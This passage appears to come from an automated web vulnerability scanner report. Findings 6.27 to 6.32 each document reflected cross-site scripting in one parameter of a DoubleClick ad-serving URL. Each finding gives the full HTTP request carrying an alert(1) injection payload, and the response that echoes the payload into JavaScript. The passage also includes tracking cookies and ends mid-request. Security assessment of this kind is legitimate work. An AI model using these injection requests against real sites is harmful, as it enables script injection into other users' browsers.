GET /adi/N4860.158901.DATAXU/B5300325.14;sz=160x600;click=http://i.w55c.net/cl?&t=1&ei=GOOGLE_CONTENTNETWORK&euid=Q0FFU0VPOGx5aWVNVWhXMXZzQlNlZE1IdGRn&ccw=SUFCMSMwLjB8SUFCOCMwLjB8SUFCMTQjMC4wOTA5NjI0OXxJQUIyMiMwLjMwMTAwNjA4&reqid=NERCNDREQTgwMDAxNzI5NjBBRTU3RTYyMThEMDA1MjY&slotid=MQ&fiu=MEZXTmpRSzNBVA&ciu=MFJsN1ZtM1ZUVQ&epid=&refurl=&s=http://pub.retailer-amazon.net/banner_120_600_b.phpb2a53"-alert(1)-"e40a3ea8abb&wp_exchange=TbRNqAABcpYK5X5iGNAFJh24yaOdrpmneXfYCA&dv=&dm=&os=&scres=&gen=&age=&zc=NzUyMDc&rurl=;ord=NERCNDREQTgwMDAxNzI5NjBBRTU3RTYyMThEMDA1MjZ8R0ZQOWdsRlJLUnwxMzAzNjYxOTk0MTYzfDF8MEZXTmpRSzNBVHwwUmw3Vm0zVlRVfDlRUXhjVE81dUgySWE3Qms0dkdTMlM5NnVmT0dzU0RDfDc1MzM3Nw? HTTP/1.1
Host: ad.doubleclick.net
Proxy-Connection: keep-alive
Referer: http://cdn.w55c.net/i/0Rl7Vm3VTU_682412618.html?rtbhost=rts-rr18.sldc.dataxu.net&btid=NERCNDREQTgwMDAxNzI5NjBBRTU3RTYyMThEMDA1MjZ8R0ZQOWdsRlJLUnwxMzAzNjYxOTk0MTYzfDF8MEZXTmpRSzNBVHwwUmw3Vm0zVlRVfDlRUXhjVE81dUgySWE3Qms0dkdTMlM5NnVmT0dzU0RDfDc1MzM3Nw&ei=GOOGLE_CONTENTNETWORK&wp_exchange=TbRNqAABcpYK5X5iGNAFJh24yaOdrpmneXfYCA&euid=Q0FFU0VPOGx5aWVNVWhXMXZzQlNlZE1IdGRn&slotid=MQ&fiu=MEZXTmpRSzNBVA&ciu=MFJsN1ZtM1ZUVQ&reqid=NERCNDREQTgwMDAxNzI5NjBBRTU3RTYyMThEMDA1MjY&ccw=SUFCMSMwLjB8SUFCOCMwLjB8SUFCMTQjMC4wOTA5NjI0OXxJQUIyMiMwLjMwMTAwNjA4&bp=753&zc=NzUyMDc&v=2&s=http%3A%2F%2Fpub.retailer-amazon.net%2Fbanner_120_600_b.php&
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.16 (KHTML, like Gecko) Chrome/10.0.648.205 Safari/534.16
Accept: application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: id=22fba3001601008d||t=1303072660|et=730|cs=-8oc1u1u; __gads=ID=3cde97f19b2af13f:T=1303423671:S=ALNI_MZrSVhBI9QqwoFvqOiF9aToOUXXzA

Response

HTTP/1.1 200 OK
Server: DCLK-AdSvr
Content-Type: text/html
Date: Sun, 24 Apr 2011 16:22:30 GMT
Cache-Control: private, x-gzip-ok=""
Content-Length: 7522

<html><head><title>Click here to find out more!</title></head><body bgcolor=#ffffff marginwidth=0 marginheight=0 leftmargin=0 topmargin=0><!-- Copyright 2008 DoubleClick, a division of Google Inc. All
...[SNIP]...
C4wOTA5NjI0OXxJQUIyMiMwLjMwMTAwNjA4&reqid=NERCNDREQTgwMDAxNzI5NjBBRTU3RTYyMThEMDA1MjY&slotid=MQ&fiu=MEZXTmpRSzNBVA&ciu=MFJsN1ZtM1ZUVQ&epid=&refurl=&s=http://pub.retailer-amazon.net/banner_120_600_b.phpb2a53"-alert(1)-"e40a3ea8abb&wp_exchange=TbRNqAABcpYK5X5iGNAFJh24yaOdrpmneXfYCA&dv=&dm=&os=&scres=&gen=&age=&zc=NzUyMDc&rurl=http%3a%2f%2fwww.newark.com/jsp/bespoke/bespoke7.jsp%3Fbespokepage%3Dcommon/en/technology-first/whats-ne
...[SNIP]...

6.27. http://ad.doubleclick.net/adi/N4860.158901.DATAXU/B5300325.14 [scres parameter] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://ad.doubleclick.net
Path:	/adi/N4860.158901.DATAXU/B5300325.14

Issue detail

The value of the scres request parameter is copied into a JavaScript string which is encapsulated in double quotation marks. The payload 2cc35"-alert(1)-"051d36dba0c was submitted in the scres parameter. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Request

GET /adi/N4860.158901.DATAXU/B5300325.14;sz=160x600;click=http://i.w55c.net/cl?&t=1&ei=GOOGLE_CONTENTNETWORK&euid=Q0FFU0VPOGx5aWVNVWhXMXZzQlNlZE1IdGRn&ccw=SUFCMSMwLjB8SUFCOCMwLjB8SUFCMTQjMC4wOTA5NjI0OXxJQUIyMiMwLjMwMTAwNjA4&reqid=NERCNDREQTgwMDAxNzI5NjBBRTU3RTYyMThEMDA1MjY&slotid=MQ&fiu=MEZXTmpRSzNBVA&ciu=MFJsN1ZtM1ZUVQ&epid=&refurl=&s=http://pub.retailer-amazon.net/banner_120_600_b.php&wp_exchange=TbRNqAABcpYK5X5iGNAFJh24yaOdrpmneXfYCA&dv=&dm=&os=&scres=2cc35"-alert(1)-"051d36dba0c&gen=&age=&zc=NzUyMDc&rurl=;ord=NERCNDREQTgwMDAxNzI5NjBBRTU3RTYyMThEMDA1MjZ8R0ZQOWdsRlJLUnwxMzAzNjYxOTk0MTYzfDF8MEZXTmpRSzNBVHwwUmw3Vm0zVlRVfDlRUXhjVE81dUgySWE3Qms0dkdTMlM5NnVmT0dzU0RDfDc1MzM3Nw? HTTP/1.1
Host: ad.doubleclick.net
Proxy-Connection: keep-alive
Referer: http://cdn.w55c.net/i/0Rl7Vm3VTU_682412618.html?rtbhost=rts-rr18.sldc.dataxu.net&btid=NERCNDREQTgwMDAxNzI5NjBBRTU3RTYyMThEMDA1MjZ8R0ZQOWdsRlJLUnwxMzAzNjYxOTk0MTYzfDF8MEZXTmpRSzNBVHwwUmw3Vm0zVlRVfDlRUXhjVE81dUgySWE3Qms0dkdTMlM5NnVmT0dzU0RDfDc1MzM3Nw&ei=GOOGLE_CONTENTNETWORK&wp_exchange=TbRNqAABcpYK5X5iGNAFJh24yaOdrpmneXfYCA&euid=Q0FFU0VPOGx5aWVNVWhXMXZzQlNlZE1IdGRn&slotid=MQ&fiu=MEZXTmpRSzNBVA&ciu=MFJsN1ZtM1ZUVQ&reqid=NERCNDREQTgwMDAxNzI5NjBBRTU3RTYyMThEMDA1MjY&ccw=SUFCMSMwLjB8SUFCOCMwLjB8SUFCMTQjMC4wOTA5NjI0OXxJQUIyMiMwLjMwMTAwNjA4&bp=753&zc=NzUyMDc&v=2&s=http%3A%2F%2Fpub.retailer-amazon.net%2Fbanner_120_600_b.php&
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.16 (KHTML, like Gecko) Chrome/10.0.648.205 Safari/534.16
Accept: application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: id=22fba3001601008d||t=1303072660|et=730|cs=-8oc1u1u; __gads=ID=3cde97f19b2af13f:T=1303423671:S=ALNI_MZrSVhBI9QqwoFvqOiF9aToOUXXzA

Response

HTTP/1.1 200 OK
Server: DCLK-AdSvr
Content-Type: text/html
Date: Sun, 24 Apr 2011 16:23:18 GMT
Cache-Control: private, x-gzip-ok=""
Content-Length: 7522

<html><head><title>Click here to find out more!</title></head><body bgcolor=#ffffff marginwidth=0 marginheight=0 leftmargin=0 topmargin=0><!-- Copyright 2008 DoubleClick, a division of Google Inc. All
...[SNIP]...
RTYyMThEMDA1MjY&slotid=MQ&fiu=MEZXTmpRSzNBVA&ciu=MFJsN1ZtM1ZUVQ&epid=&refurl=&s=http://pub.retailer-amazon.net/banner_120_600_b.php&wp_exchange=TbRNqAABcpYK5X5iGNAFJh24yaOdrpmneXfYCA&dv=&dm=&os=&scres=2cc35"-alert(1)-"051d36dba0c&gen=&age=&zc=NzUyMDc&rurl=http%3a%2f%2fwww.newark.com/jsp/bespoke/bespoke7.jsp%3Fbespokepage%3Dcommon/en/technology-first/whats-new/whats-new.jsp%26CMP%3DBAN-NPI_np");
var fscUrl = url;
var fscUrl
...[SNIP]...

6.28. http://ad.doubleclick.net/adi/N4860.158901.DATAXU/B5300325.14 [slotid parameter] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://ad.doubleclick.net
Path:	/adi/N4860.158901.DATAXU/B5300325.14

Issue detail

The value of the slotid request parameter is copied into a JavaScript string which is encapsulated in double quotation marks. The payload f2f6a"-alert(1)-"f06f7fc0c92 was submitted in the slotid parameter. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Request

GET /adi/N4860.158901.DATAXU/B5300325.14;sz=160x600;click=http://i.w55c.net/cl?&t=1&ei=GOOGLE_CONTENTNETWORK&euid=Q0FFU0VPOGx5aWVNVWhXMXZzQlNlZE1IdGRn&ccw=SUFCMSMwLjB8SUFCOCMwLjB8SUFCMTQjMC4wOTA5NjI0OXxJQUIyMiMwLjMwMTAwNjA4&reqid=NERCNDREQTgwMDAxNzI5NjBBRTU3RTYyMThEMDA1MjY&slotid=MQf2f6a"-alert(1)-"f06f7fc0c92&fiu=MEZXTmpRSzNBVA&ciu=MFJsN1ZtM1ZUVQ&epid=&refurl=&s=http://pub.retailer-amazon.net/banner_120_600_b.php&wp_exchange=TbRNqAABcpYK5X5iGNAFJh24yaOdrpmneXfYCA&dv=&dm=&os=&scres=&gen=&age=&zc=NzUyMDc&rurl=;ord=NERCNDREQTgwMDAxNzI5NjBBRTU3RTYyMThEMDA1MjZ8R0ZQOWdsRlJLUnwxMzAzNjYxOTk0MTYzfDF8MEZXTmpRSzNBVHwwUmw3Vm0zVlRVfDlRUXhjVE81dUgySWE3Qms0dkdTMlM5NnVmT0dzU0RDfDc1MzM3Nw? HTTP/1.1
Host: ad.doubleclick.net
Proxy-Connection: keep-alive
Referer: http://cdn.w55c.net/i/0Rl7Vm3VTU_682412618.html?rtbhost=rts-rr18.sldc.dataxu.net&btid=NERCNDREQTgwMDAxNzI5NjBBRTU3RTYyMThEMDA1MjZ8R0ZQOWdsRlJLUnwxMzAzNjYxOTk0MTYzfDF8MEZXTmpRSzNBVHwwUmw3Vm0zVlRVfDlRUXhjVE81dUgySWE3Qms0dkdTMlM5NnVmT0dzU0RDfDc1MzM3Nw&ei=GOOGLE_CONTENTNETWORK&wp_exchange=TbRNqAABcpYK5X5iGNAFJh24yaOdrpmneXfYCA&euid=Q0FFU0VPOGx5aWVNVWhXMXZzQlNlZE1IdGRn&slotid=MQ&fiu=MEZXTmpRSzNBVA&ciu=MFJsN1ZtM1ZUVQ&reqid=NERCNDREQTgwMDAxNzI5NjBBRTU3RTYyMThEMDA1MjY&ccw=SUFCMSMwLjB8SUFCOCMwLjB8SUFCMTQjMC4wOTA5NjI0OXxJQUIyMiMwLjMwMTAwNjA4&bp=753&zc=NzUyMDc&v=2&s=http%3A%2F%2Fpub.retailer-amazon.net%2Fbanner_120_600_b.php&
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.16 (KHTML, like Gecko) Chrome/10.0.648.205 Safari/534.16
Accept: application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: id=22fba3001601008d||t=1303072660|et=730|cs=-8oc1u1u; __gads=ID=3cde97f19b2af13f:T=1303423671:S=ALNI_MZrSVhBI9QqwoFvqOiF9aToOUXXzA

Response

HTTP/1.1 200 OK
Server: DCLK-AdSvr
Content-Type: text/html
Date: Sun, 24 Apr 2011 16:21:42 GMT
Cache-Control: private, x-gzip-ok=""
Content-Length: 7570

<html><head><title>Click here to find out more!</title></head><body bgcolor=#ffffff marginwidth=0 marginheight=0 leftmargin=0 topmargin=0><!-- Copyright 2008 DoubleClick, a division of Google Inc. All
...[SNIP]...
1&ei=GOOGLE_CONTENTNETWORK&euid=Q0FFU0VPOGx5aWVNVWhXMXZzQlNlZE1IdGRn&ccw=SUFCMSMwLjB8SUFCOCMwLjB8SUFCMTQjMC4wOTA5NjI0OXxJQUIyMiMwLjMwMTAwNjA4&reqid=NERCNDREQTgwMDAxNzI5NjBBRTU3RTYyMThEMDA1MjY&slotid=MQf2f6a"-alert(1)-"f06f7fc0c92&fiu=MEZXTmpRSzNBVA&ciu=MFJsN1ZtM1ZUVQ&epid=&refurl=&s=http://pub.retailer-amazon.net/banner_120_600_b.php&wp_exchange=TbRNqAABcpYK5X5iGNAFJh24yaOdrpmneXfYCA&dv=&dm=&os=&scres=&gen=&age=&zc=NzUyMDc&rur
...[SNIP]...

6.29. http://ad.doubleclick.net/adi/N4860.158901.DATAXU/B5300325.14 [sz parameter] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://ad.doubleclick.net
Path:	/adi/N4860.158901.DATAXU/B5300325.14

Issue detail

The value of the sz request parameter is copied into a JavaScript string which is encapsulated in double quotation marks. The payload d6370"-alert(1)-"73460471a7e was submitted in the sz parameter. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Request

GET /adi/N4860.158901.DATAXU/B5300325.14;sz=160x600;click=http://i.w55c.net/cl?d6370"-alert(1)-"73460471a7e&t=1&ei=GOOGLE_CONTENTNETWORK&euid=Q0FFU0VPOGx5aWVNVWhXMXZzQlNlZE1IdGRn&ccw=SUFCMSMwLjB8SUFCOCMwLjB8SUFCMTQjMC4wOTA5NjI0OXxJQUIyMiMwLjMwMTAwNjA4&reqid=NERCNDREQTgwMDAxNzI5NjBBRTU3RTYyMThEMDA1MjY&slotid=MQ&fiu=MEZXTmpRSzNBVA&ciu=MFJsN1ZtM1ZUVQ&epid=&refurl=&s=http://pub.retailer-amazon.net/banner_120_600_b.php&wp_exchange=TbRNqAABcpYK5X5iGNAFJh24yaOdrpmneXfYCA&dv=&dm=&os=&scres=&gen=&age=&zc=NzUyMDc&rurl=;ord=NERCNDREQTgwMDAxNzI5NjBBRTU3RTYyMThEMDA1MjZ8R0ZQOWdsRlJLUnwxMzAzNjYxOTk0MTYzfDF8MEZXTmpRSzNBVHwwUmw3Vm0zVlRVfDlRUXhjVE81dUgySWE3Qms0dkdTMlM5NnVmT0dzU0RDfDc1MzM3Nw? HTTP/1.1
Host: ad.doubleclick.net
Proxy-Connection: keep-alive
Referer: http://cdn.w55c.net/i/0Rl7Vm3VTU_682412618.html?rtbhost=rts-rr18.sldc.dataxu.net&btid=NERCNDREQTgwMDAxNzI5NjBBRTU3RTYyMThEMDA1MjZ8R0ZQOWdsRlJLUnwxMzAzNjYxOTk0MTYzfDF8MEZXTmpRSzNBVHwwUmw3Vm0zVlRVfDlRUXhjVE81dUgySWE3Qms0dkdTMlM5NnVmT0dzU0RDfDc1MzM3Nw&ei=GOOGLE_CONTENTNETWORK&wp_exchange=TbRNqAABcpYK5X5iGNAFJh24yaOdrpmneXfYCA&euid=Q0FFU0VPOGx5aWVNVWhXMXZzQlNlZE1IdGRn&slotid=MQ&fiu=MEZXTmpRSzNBVA&ciu=MFJsN1ZtM1ZUVQ&reqid=NERCNDREQTgwMDAxNzI5NjBBRTU3RTYyMThEMDA1MjY&ccw=SUFCMSMwLjB8SUFCOCMwLjB8SUFCMTQjMC4wOTA5NjI0OXxJQUIyMiMwLjMwMTAwNjA4&bp=753&zc=NzUyMDc&v=2&s=http%3A%2F%2Fpub.retailer-amazon.net%2Fbanner_120_600_b.php&
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.16 (KHTML, like Gecko) Chrome/10.0.648.205 Safari/534.16
Accept: application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: id=22fba3001601008d||t=1303072660|et=730|cs=-8oc1u1u; __gads=ID=3cde97f19b2af13f:T=1303423671:S=ALNI_MZrSVhBI9QqwoFvqOiF9aToOUXXzA

Response

HTTP/1.1 200 OK
Server: DCLK-AdSvr
Content-Type: text/html
Date: Sun, 24 Apr 2011 16:20:45 GMT
Cache-Control: private, x-gzip-ok=""
Content-Length: 7522

<html><head><title>Click here to find out more!</title></head><body bgcolor=#ffffff marginwidth=0 marginheight=0 leftmargin=0 topmargin=0><!-- Copyright 2008 DoubleClick, a division of Google Inc. All
...[SNIP]...
ight="600" ';
var url = escape("http://ad.doubleclick.net/click%3Bh%3Dv8/3af3/f/1c8/%2a/b%3B240097157%3B0-0%3B0%3B63021589%3B2321-160/600%3B41736528/41754315/1%3B%3B%7Esscs%3D%3fhttp://i.w55c.net/cl?d6370"-alert(1)-"73460471a7e&t=1&ei=GOOGLE_CONTENTNETWORK&euid=Q0FFU0VPOGx5aWVNVWhXMXZzQlNlZE1IdGRn&ccw=SUFCMSMwLjB8SUFCOCMwLjB8SUFCMTQjMC4wOTA5NjI0OXxJQUIyMiMwLjMwMTAwNjA4&reqid=NERCNDREQTgwMDAxNzI5NjBBRTU3RTYyMThEMDA1MjY&slotid
...[SNIP]...

6.30. http://ad.doubleclick.net/adi/N4860.158901.DATAXU/B5300325.14 [t parameter] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://ad.doubleclick.net
Path:	/adi/N4860.158901.DATAXU/B5300325.14

Issue detail

The value of the t request parameter is copied into a JavaScript string which is encapsulated in double quotation marks. The payload ab4c6"-alert(1)-"ca28abd453e was submitted in the t parameter. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Request

GET /adi/N4860.158901.DATAXU/B5300325.14;sz=160x600;click=http://i.w55c.net/cl?&t=1ab4c6"-alert(1)-"ca28abd453e&ei=GOOGLE_CONTENTNETWORK&euid=Q0FFU0VPOGx5aWVNVWhXMXZzQlNlZE1IdGRn&ccw=SUFCMSMwLjB8SUFCOCMwLjB8SUFCMTQjMC4wOTA5NjI0OXxJQUIyMiMwLjMwMTAwNjA4&reqid=NERCNDREQTgwMDAxNzI5NjBBRTU3RTYyMThEMDA1MjY&slotid=MQ&fiu=MEZXTmpRSzNBVA&ciu=MFJsN1ZtM1ZUVQ&epid=&refurl=&s=http://pub.retailer-amazon.net/banner_120_600_b.php&wp_exchange=TbRNqAABcpYK5X5iGNAFJh24yaOdrpmneXfYCA&dv=&dm=&os=&scres=&gen=&age=&zc=NzUyMDc&rurl=;ord=NERCNDREQTgwMDAxNzI5NjBBRTU3RTYyMThEMDA1MjZ8R0ZQOWdsRlJLUnwxMzAzNjYxOTk0MTYzfDF8MEZXTmpRSzNBVHwwUmw3Vm0zVlRVfDlRUXhjVE81dUgySWE3Qms0dkdTMlM5NnVmT0dzU0RDfDc1MzM3Nw? HTTP/1.1
Host: ad.doubleclick.net
Proxy-Connection: keep-alive
Referer: http://cdn.w55c.net/i/0Rl7Vm3VTU_682412618.html?rtbhost=rts-rr18.sldc.dataxu.net&btid=NERCNDREQTgwMDAxNzI5NjBBRTU3RTYyMThEMDA1MjZ8R0ZQOWdsRlJLUnwxMzAzNjYxOTk0MTYzfDF8MEZXTmpRSzNBVHwwUmw3Vm0zVlRVfDlRUXhjVE81dUgySWE3Qms0dkdTMlM5NnVmT0dzU0RDfDc1MzM3Nw&ei=GOOGLE_CONTENTNETWORK&wp_exchange=TbRNqAABcpYK5X5iGNAFJh24yaOdrpmneXfYCA&euid=Q0FFU0VPOGx5aWVNVWhXMXZzQlNlZE1IdGRn&slotid=MQ&fiu=MEZXTmpRSzNBVA&ciu=MFJsN1ZtM1ZUVQ&reqid=NERCNDREQTgwMDAxNzI5NjBBRTU3RTYyMThEMDA1MjY&ccw=SUFCMSMwLjB8SUFCOCMwLjB8SUFCMTQjMC4wOTA5NjI0OXxJQUIyMiMwLjMwMTAwNjA4&bp=753&zc=NzUyMDc&v=2&s=http%3A%2F%2Fpub.retailer-amazon.net%2Fbanner_120_600_b.php&
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.16 (KHTML, like Gecko) Chrome/10.0.648.205 Safari/534.16
Accept: application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: id=22fba3001601008d||t=1303072660|et=730|cs=-8oc1u1u; __gads=ID=3cde97f19b2af13f:T=1303423671:S=ALNI_MZrSVhBI9QqwoFvqOiF9aToOUXXzA

Response

HTTP/1.1 200 OK
Server: DCLK-AdSvr
Content-Type: text/html
Date: Sun, 24 Apr 2011 16:20:54 GMT
Cache-Control: private, x-gzip-ok=""
Content-Length: 7522

<html><head><title>Click here to find out more!</title></head><body bgcolor=#ffffff marginwidth=0 marginheight=0 leftmargin=0 topmargin=0><!-- Copyright 2008 DoubleClick, a division of Google Inc. All
...[SNIP]...
="600" ';
var url = escape("http://ad.doubleclick.net/click%3Bh%3Dv8/3af3/f/1c8/%2a/b%3B240097157%3B0-0%3B0%3B63021589%3B2321-160/600%3B41736528/41754315/1%3B%3B%7Esscs%3D%3fhttp://i.w55c.net/cl?&t=1ab4c6"-alert(1)-"ca28abd453e&ei=GOOGLE_CONTENTNETWORK&euid=Q0FFU0VPOGx5aWVNVWhXMXZzQlNlZE1IdGRn&ccw=SUFCMSMwLjB8SUFCOCMwLjB8SUFCMTQjMC4wOTA5NjI0OXxJQUIyMiMwLjMwMTAwNjA4&reqid=NERCNDREQTgwMDAxNzI5NjBBRTU3RTYyMThEMDA1MjY&slotid=MQ&
...[SNIP]...

6.31. http://ad.doubleclick.net/adi/N4860.158901.DATAXU/B5300325.14 [wp_exchange parameter] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://ad.doubleclick.net
Path:	/adi/N4860.158901.DATAXU/B5300325.14

Issue detail

The value of the wp_exchange request parameter is copied into a JavaScript string which is encapsulated in double quotation marks. The payload c5d58"-alert(1)-"dd5e339e15d was submitted in the wp_exchange parameter. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Request

GET /adi/N4860.158901.DATAXU/B5300325.14;sz=160x600;click=http://i.w55c.net/cl?&t=1&ei=GOOGLE_CONTENTNETWORK&euid=Q0FFU0VPOGx5aWVNVWhXMXZzQlNlZE1IdGRn&ccw=SUFCMSMwLjB8SUFCOCMwLjB8SUFCMTQjMC4wOTA5NjI0OXxJQUIyMiMwLjMwMTAwNjA4&reqid=NERCNDREQTgwMDAxNzI5NjBBRTU3RTYyMThEMDA1MjY&slotid=MQ&fiu=MEZXTmpRSzNBVA&ciu=MFJsN1ZtM1ZUVQ&epid=&refurl=&s=http://pub.retailer-amazon.net/banner_120_600_b.php&wp_exchange=TbRNqAABcpYK5X5iGNAFJh24yaOdrpmneXfYCAc5d58"-alert(1)-"dd5e339e15d&dv=&dm=&os=&scres=&gen=&age=&zc=NzUyMDc&rurl=;ord=NERCNDREQTgwMDAxNzI5NjBBRTU3RTYyMThEMDA1MjZ8R0ZQOWdsRlJLUnwxMzAzNjYxOTk0MTYzfDF8MEZXTmpRSzNBVHwwUmw3Vm0zVlRVfDlRUXhjVE81dUgySWE3Qms0dkdTMlM5NnVmT0dzU0RDfDc1MzM3Nw? HTTP/1.1
Host: ad.doubleclick.net
Proxy-Connection: keep-alive
Referer: http://cdn.w55c.net/i/0Rl7Vm3VTU_682412618.html?rtbhost=rts-rr18.sldc.dataxu.net&btid=NERCNDREQTgwMDAxNzI5NjBBRTU3RTYyMThEMDA1MjZ8R0ZQOWdsRlJLUnwxMzAzNjYxOTk0MTYzfDF8MEZXTmpRSzNBVHwwUmw3Vm0zVlRVfDlRUXhjVE81dUgySWE3Qms0dkdTMlM5NnVmT0dzU0RDfDc1MzM3Nw&ei=GOOGLE_CONTENTNETWORK&wp_exchange=TbRNqAABcpYK5X5iGNAFJh24yaOdrpmneXfYCA&euid=Q0FFU0VPOGx5aWVNVWhXMXZzQlNlZE1IdGRn&slotid=MQ&fiu=MEZXTmpRSzNBVA&ciu=MFJsN1ZtM1ZUVQ&reqid=NERCNDREQTgwMDAxNzI5NjBBRTU3RTYyMThEMDA1MjY&ccw=SUFCMSMwLjB8SUFCOCMwLjB8SUFCMTQjMC4wOTA5NjI0OXxJQUIyMiMwLjMwMTAwNjA4&bp=753&zc=NzUyMDc&v=2&s=http%3A%2F%2Fpub.retailer-amazon.net%2Fbanner_120_600_b.php&
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.16 (KHTML, like Gecko) Chrome/10.0.648.205 Safari/534.16
Accept: application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: id=22fba3001601008d||t=1303072660|et=730|cs=-8oc1u1u; __gads=ID=3cde97f19b2af13f:T=1303423671:S=ALNI_MZrSVhBI9QqwoFvqOiF9aToOUXXzA

Response

HTTP/1.1 200 OK
Server: DCLK-AdSvr
Content-Type: text/html
Date: Sun, 24 Apr 2011 16:22:40 GMT
Cache-Control: private, x-gzip-ok=""
Content-Length: 7522

<html><head><title>Click here to find out more!</title></head><body bgcolor=#ffffff marginwidth=0 marginheight=0 leftmargin=0 topmargin=0><!-- Copyright 2008 DoubleClick, a division of Google Inc. All
...[SNIP]...
TgwMDAxNzI5NjBBRTU3RTYyMThEMDA1MjY&slotid=MQ&fiu=MEZXTmpRSzNBVA&ciu=MFJsN1ZtM1ZUVQ&epid=&refurl=&s=http://pub.retailer-amazon.net/banner_120_600_b.php&wp_exchange=TbRNqAABcpYK5X5iGNAFJh24yaOdrpmneXfYCAc5d58"-alert(1)-"dd5e339e15d&dv=&dm=&os=&scres=&gen=&age=&zc=NzUyMDc&rurl=http%3a%2f%2fwww.newark.com/jsp/bespoke/bespoke7.jsp%3Fbespokepage%3Dcommon/en/technology-first/whats-new/whats-new.jsp%26CMP%3DBAN-NPI_np");
var fscUrl
...[SNIP]...

6.32. http://ad.doubleclick.net/adi/N4860.158901.DATAXU/B5300325.14 [zc parameter] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://ad.doubleclick.net
Path:	/adi/N4860.158901.DATAXU/B5300325.14

Issue detail

The value of the zc request parameter is copied into a JavaScript string which is encapsulated in double quotation marks. The payload 246a1"-alert(1)-"06d6b358119 was submitted in the zc parameter. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Request

GET /adi/N4860.158901.DATAXU/B5300325.14;sz=160x600;click=http://i.w55c.net/cl?&t=1&ei=GOOGLE_CONTENTNETWORK&euid=Q0FFU0VPOGx5aWVNVWhXMXZzQlNlZE1IdGRn&ccw=SUFCMSMwLjB8SUFCOCMwLjB8SUFCMTQjMC4wOTA5NjI0OXxJQUIyMiMwLjMwMTAwNjA4&reqid=NERCNDREQTgwMDAxNzI5NjBBRTU3RTYyMThEMDA1MjY&slotid=MQ&fiu=MEZXTmpRSzNBVA&ciu=MFJsN1ZtM1ZUVQ&epid=&refurl=&s=http://pub.retailer-amazon.net/banner_120_600_b.php&wp_exchange=TbRNqAABcpYK5X5iGNAFJh24yaOdrpmneXfYCA&dv=&dm=&os=&scres=&gen=&age=&zc=NzUyMDc246a1"-alert(1)-"06d6b358119&rurl=;ord=NERCNDREQTgwMDAxNzI5NjBBRTU3RTYyMThEMDA1MjZ8R0ZQOWdsRlJLUnwxMzAzNjYxOTk0MTYzfDF8MEZXTmpRSzNBVHwwUmw3Vm0zVlRVfDlRUXhjVE81dUgySWE3Qms0dkdTMlM5NnVmT0dzU0RDfDc1MzM3Nw? HTTP/1.1
Host: ad.doubleclick.net
Proxy-Connection: keep-alive
Referer: http://cdn.w55c.net/i/0Rl7Vm3VTU_682412618.html?rtbhost=rts-rr18.sldc.dataxu.net&btid=NERCNDREQTgwMDAxNzI5NjBBRTU3RTYyMThEMDA1MjZ8R0ZQOWdsRlJLUnwxMzAzNjYxOTk0MTYzfDF8MEZXTmpRSzNBVHwwUmw3Vm0zVlRVfDlRUXhjVE81dUgySWE3Qms0dkdTMlM5NnVmT0dzU0RDfDc1MzM3Nw&ei=GOOGLE_CONTENTNETWORK&wp_exchange=TbRNqAABcpYK5X5iGNAFJh24yaOdrpmneXfYCA&euid=Q0FFU0VPOGx5aWVNVWhXMXZzQlNlZE1IdGRn&slotid=MQ&fiu=MEZXTmpRSzNBVA&ciu=MFJsN1ZtM1ZUVQ&reqid=NERCNDREQTgwMDAxNzI5NjBBRTU3RTYyMThEMDA1MjY&ccw=SUFCMSMwLjB8SUFCOCMwLjB8SUFCMTQjMC4wOTA5NjI0OXxJQUIyMiMwLjMwMTAwNjA4&bp=753&zc=NzUyMDc&v=2&s=http%3A%2F%2Fpub.retailer-amazon.net%2Fbanner_120_600_b.php&
